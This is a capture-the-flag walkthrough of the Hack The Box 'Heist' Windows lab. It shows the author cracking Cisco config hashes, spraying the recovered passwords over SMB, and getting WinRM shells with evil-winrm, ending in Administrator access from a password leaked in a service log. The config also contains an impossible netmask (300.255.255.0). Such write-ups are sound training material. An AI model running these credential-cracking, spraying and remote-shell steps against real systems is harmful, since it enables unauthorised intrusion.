Byte JMP
Heist: Cisco Config Credential Reuse to Firefox Credential Leak

Heist: Cisco Config Credential Reuse to Firefox Credential Leak

Hack The Box write-up for the Heist machine. A support portal with guest access exposes a Cisco router configuration containing encrypted credentials. Cracking and decoding recovers three passwords, one of which maps to a Windows account via password spraying. RID brute force reveals additional users and a second valid credential pair lands WinRM as Chase. The Mozilla Maintenance Service log leaks the Administrator password in a command line argument, completing the box.

·9 min read

Initial Reconnaissance – Port Scanning

The assessment started with a service version scan against 10.129.96.157, host discovery disabled (-Pn):

$ nmap -sV -Pn -T4 10.129.96.157
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-13 18:12 -0300
Nmap scan report for 10.129.96.157
Host is up (0.14s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

A Windows box with four ports. IIS on port 80 hosts a web application. SMB (445) is available for share enumeration and authentication testing. WinRM on 5985 is the remote management target if valid credentials are found.

Enumeration

80/tcp – Support Login Page

Port 80 served a login page at /login.php with a "Login as guest" option:

Support Login Page

Clicking "Login as guest" redirected to /issues.php, which displayed a support thread. A user named Hazard had posted about problems with a Cisco router and attached a portion of the router configuration. He also requested a Windows account on the server:

Issues Page

The attachment was accessible at /attachments/config.txt:

version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0 mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh

Three credentials embedded in this config:

enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

The enable secret 5 line is an MD5 hash that needs to be cracked. The two password 7 lines use Cisco's Type 7 encoding, which is a reversible obfuscation scheme, not a hash.

Credential Recovery

Enable Secret – MD5 Cracking

hashid confirmed the hash type:

$ hashid '$1$pdQG$o8nrSzsGXeaduXrjlvKc91'
Analyzing '$1$pdQG$o8nrSzsGXeaduXrjlvKc91'
[+] MD5 Crypt 
[+] Cisco-IOS(MD5) 
[+] FreeBSD MD5 

Hashcat with mode 500 (md5crypt / Cisco-IOS $1$ MD5) cracked it against rockyou.txt:

$ hashcat -m 500 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent              
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 500 (md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5))
Hash.Target......: $1$pdQG$o8nrSzsGXeaduXrjlvKc91
Time.Started.....: Sun Sep 13 18:24:37 2026 (1 min, 31 secs)
Time.Estimated...: Sun Sep 13 18:26:08 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Speed.#01........:    33147 H/s (14.39ms) @ Accel:94 Loops:1000 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3543424/14344385 (24.70%)

The enable secret is stealth1agent.

Type 7 Password Decoding

Cisco Type 7 passwords are trivially reversible. Unlike the MD5 enable secret, the encoding uses a well known XOR cipher with a fixed key. Any Type 7 decoder recovers the plaintext:

rout3r  → $uperP@ssword
admin   → Q4)sJu\Y8qz*A3?d

With all three passwords recovered, the full password list for spraying:

stealth1agent
$uperP@ssword
Q4)sJu\Y8qz*A3?d

SMB – Credential Spraying and User Enumeration

Initial Access Attempts

Null and guest sessions against SMB were both denied:

$ nxc smb 10.129.96.157 -u '' -p ''             
SMB  10.129.96.157  445  SUPPORTDESK  [*] Windows 10 / Server 2019 Build 17763 x64
                                       (name:SUPPORTDESK) (domain:SupportDesk)
                                       (signing:False) (SMBv1:None)
SMB  10.129.96.157  445  SUPPORTDESK  [-] SupportDesk\: STATUS_ACCESS_DENIED 

$ nxc smb 10.129.96.157 -u 'guest' -p ''
SMB  10.129.96.157  445  SUPPORTDESK  [-] SupportDesk\guest: STATUS_LOGON_FAILURE

The hostname is SUPPORTDESK and the workgroup is also SupportDesk. No domain controller here, just a standalone Windows 10/Server 2019 machine.

Testing Config Credentials

The two usernames from the Cisco config (rout3r and admin) were tested with the cracked enable secret. Neither worked:

$ nxc smb 10.129.96.157 -u 'rout3r' -p 'stealth1agent' --shares    
SMB  10.129.96.157  445  SUPPORTDESK  [-] SupportDesk\rout3r:stealth1agent STATUS_LOGON_FAILURE 

$ nxc smb 10.129.96.157 -u 'admin' -p 'stealth1agent' --shares
SMB  10.129.96.157  445  SUPPORTDESK  [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE 

These are Cisco router usernames, not necessarily Windows accounts. But Hazard, the user who posted the config and requested a Windows account, is a more likely candidate. Testing his username with the cracked password:

$ nxc smb 10.129.96.157 -u 'hazard' -p 'stealth1agent' --shares
SMB  10.129.96.157  445  SUPPORTDESK  [+] SupportDesk\hazard:stealth1agent 
SMB  10.129.96.157  445  SUPPORTDESK  [*] Enumerated shares
SMB  10.129.96.157  445  SUPPORTDESK  Share           Permissions     Remark
SMB  10.129.96.157  445  SUPPORTDESK  -----           -----------     ------
SMB  10.129.96.157  445  SUPPORTDESK  ADMIN$                          Remote Admin
SMB  10.129.96.157  445  SUPPORTDESK  C$                              Default share
SMB  10.129.96.157  445  SUPPORTDESK  IPC$            READ            Remote IPC

Valid credentials: hazard:stealth1agent. However, the account only has read access to IPC$ and no access to administrative shares. Hazard's SMB access is limited, but the authenticated session enables RID brute force to enumerate all local accounts.

RID Brute Force

Using Hazard's credentials to enumerate local users via RID cycling:

$ nxc smb 10.129.96.157 -u 'hazard' -p 'stealth1agent' --rid-brute
SMB  10.129.96.157  445  SUPPORTDESK  [+] SupportDesk\hazard:stealth1agent 
SMB  10.129.96.157  445  SUPPORTDESK  500: SUPPORTDESK\Administrator (SidTypeUser)
SMB  10.129.96.157  445  SUPPORTDESK  501: SUPPORTDESK\Guest (SidTypeUser)
SMB  10.129.96.157  445  SUPPORTDESK  503: SUPPORTDESK\DefaultAccount (SidTypeUser)
SMB  10.129.96.157  445  SUPPORTDESK  504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
SMB  10.129.96.157  445  SUPPORTDESK  513: SUPPORTDESK\None (SidTypeGroup)
SMB  10.129.96.157  445  SUPPORTDESK  1008: SUPPORTDESK\Hazard (SidTypeUser)
SMB  10.129.96.157  445  SUPPORTDESK  1009: SUPPORTDESK\support (SidTypeUser)
SMB  10.129.96.157  445  SUPPORTDESK  1012: SUPPORTDESK\Chase (SidTypeUser)
SMB  10.129.96.157  445  SUPPORTDESK  1013: SUPPORTDESK\Jason (SidTypeUser)

Beyond the built-in accounts, four custom users: Hazard (already compromised), support, Chase, and Jason.

Password Spraying

Full spray with all three recovered passwords against all users:

$ nxc smb 10.129.96.157 -u users.txt -p pass.txt --continue-on-success           
SMB  10.129.96.157  445  SUPPORTDESK  [+] SupportDesk\hazard:stealth1agent 
SMB  10.129.96.157  445  SUPPORTDESK  [+] SupportDesk\chase:Q4)sJu\Y8qz*A3?d 

Two valid credential pairs. Chase's password is the decoded Type 7 password from the admin user in the Cisco config. Credential reuse between the router configuration and a Windows account on the support server.

Initial Access – WinRM (Chase)

Testing WinRM access for all credential pairs:

$ nxc winrm 10.129.96.157 -u users.txt -p pass.txt --continue-on-success
WINRM  10.129.96.157  5985  SUPPORTDESK  [+] SupportDesk\chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)

Only Chase has WinRM access. Connecting with evil-winrm:

$ evil-winrm -i 10.129.96.157 -u 'chase' -p 'Q4)sJu\Y8qz*A3?d'       
                                        
Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chase\Documents> 

User Flag

*Evil-WinRM* PS C:\Users\Chase\Desktop> cat user.txt
9302395012d41bd43f91c052cd09a558

Privilege Escalation – Mozilla Maintenance Service Credential Leak

Local Enumeration

Chase's privileges are minimal, with no exploitable tokens:

*Evil-WinRM* PS C:\Users\Chase\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Group memberships confirm a standard low privilege user with Remote Management Users for WinRM access:

*Evil-WinRM* PS C:\Users\Chase\Desktop> whoami /all

USER INFORMATION
----------------

User Name         SID
================= ==============================================
supportdesk\chase S-1-5-21-4254423774-1266059056-3197185112-1012

GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==========
Everyone                               Well-known group S-1-1-0      ...
BUILTIN\Remote Management Users        Alias            S-1-5-32-580 ...
BUILTIN\Users                          Alias            S-1-5-32-545 ...
NT AUTHORITY\NETWORK                   Well-known group S-1-5-2      ...
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     ...
NT AUTHORITY\This Organization         Well-known group S-1-5-15     ...
NT AUTHORITY\Local account             Well-known group S-1-5-113    ...
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  ...
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

A todo.txt file on Chase's Desktop provided context about the box:

*Evil-WinRM* PS C:\Users\Chase\Desktop> cat todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.

Done:
1. Restricted access for guest user.

The note about "Keep checking the issues list" suggests Chase may be interacting with the web application through a browser.

Service Enumeration

Enumerating non-default services revealed Mozilla Maintenance Service alongside VMware tooling and an SSH agent:

Name        : MozillaMaintenance
DisplayName : Mozilla Maintenance Service
ImagePath   : "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
User        : LocalSystem
StartMode   : Manual

Firefox is installed on the box, and the Mozilla Maintenance Service runs as LocalSystem to handle software updates. Its log file turned out to be the key.

Credential Leak in the Maintenance Service Log

The Mozilla Maintenance Service writes detailed logs to C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log. Near the end of the log, the service recorded the full command line of a Firefox update process, and that command line contained the URL that Firefox was loading at the time, including credentials passed as query parameters:

*Evil-WinRM* PS C:\Program Files (x86)\Mozilla Maintenance Service\logs> cat maintenanceservice.log
...
Starting service with cmdline: "C:\Program Files (x86)\Mozilla Maintenance Service\
update\updater.exe" C:\ProgramData\Mozilla\updates\308046B0AF4A39CB\updates\0
"C:\Program Files\Mozilla Firefox" "C:\Program Files\Mozilla Firefox\updated"
6692/replace C:\Windows\system32 "C:\Program Files\Mozilla Firefox\firefox.exe"
localhost/[email protected]&login_password=4dD!5}x/re8]FBuZ&login=
...

The URL at the end of the command line reveals the administrator's credentials for the support application: [email protected] with password 4dD!5}x/re8]FBuZ. The password was leaked because Firefox passed its current browsing context as part of the update process, and the maintenance service logged the entire command line including the URL with credentials in query parameters.

Administrator Access

Testing the leaked password against the Administrator account via WinRM:

$ nxc winrm 10.129.96.157 -u administrator -p '4dD!5}x/re8]FBuZ'  
WINRM  10.129.96.157  5985  SUPPORTDESK  [+] SupportDesk\administrator:4dD!5}x/re8]FBuZ (Pwn3d!)

Connecting with evil-winrm:

$ evil-winrm -i 10.129.96.157 -u 'administrator' -p '4dD!5}x/re8]FBuZ'                
                                        
Evil-WinRM shell v3.9

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Root Flag

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
dfe65487f091eddf17eae5f9203dbcd8

Full Administrator access. The chain went from guest access on a support portal to a leaked Cisco config, credential reuse across a router and a Windows account, and a browser credential leak in a service log.